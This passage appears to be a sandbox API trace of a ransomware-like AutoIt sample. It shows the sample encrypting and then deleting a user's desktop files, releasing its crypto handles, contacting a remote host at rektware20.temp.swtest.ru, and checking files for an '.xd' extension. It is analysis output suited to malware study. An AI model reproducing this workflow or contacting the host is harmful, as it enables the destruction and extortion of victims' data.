wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.351] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.351] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.351] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.351] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.351] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.353] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.353] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.353] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.354] WriteFile (in: hFile=0x3c8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x7b90, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x7b90, lpOverlapped=0x0) returned 1 [0079.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.355] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0079.355] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.355] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.355] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0079.355] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0079.355] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0079.355] CryptDestroyKey (hKey=0x164ca30) returned 1 [0079.355] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.356] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.356] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.356] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.356] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.356] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.356] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.356] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.356] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.356] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.356] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.356] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.357] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.357] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.357] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.357] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.357] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.357] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.357] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.360] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.360] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0079.360] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0079.360] CryptReleaseContext (hProv=0x16323a8, dwFlags=0x0) returned 1 [0079.360] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.361] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.361] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.361] FreeLibrary (hLibModule=0x74c60000) returned 1 [0079.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.361] CloseHandle (hObject=0x3d8) returned 1 [0079.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.361] CloseHandle (hObject=0x3c8) returned 1 [0079.363] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.363] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.363] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", lpFilePart=0x0) returned 0x32 [0079.363] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\3o-75msbc7f.jpg")) returned 0x20 [0079.363] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0079.363] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\3O-75MsBC7F.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\3o-75msbc7f.jpg")) returned 1 [0079.675] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0079.675] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0079.676] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 1 [0079.676] TranslateMessage (lpMsg=0x130f3bc) returned 0 [0079.676] DispatchMessageW (lpMsg=0x130f3bc) returned 0x0 [0079.676] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ea20) returned 1 [0079.678] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0079.678] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0079.678] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.678] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.678] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.678] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.679] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0079.679] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0079.679] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.679] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0079.679] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.679] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0079.679] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0079.679] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c) returned 1 [0079.679] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.679] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.679] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.680] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0079.680] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0079.680] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0079.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0079.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0079.680] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.680] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.680] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.680] CloseHandle (hObject=0x0) returned 0 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.680] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZV TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ROoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OoaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oaM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aM.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.681] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.681] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 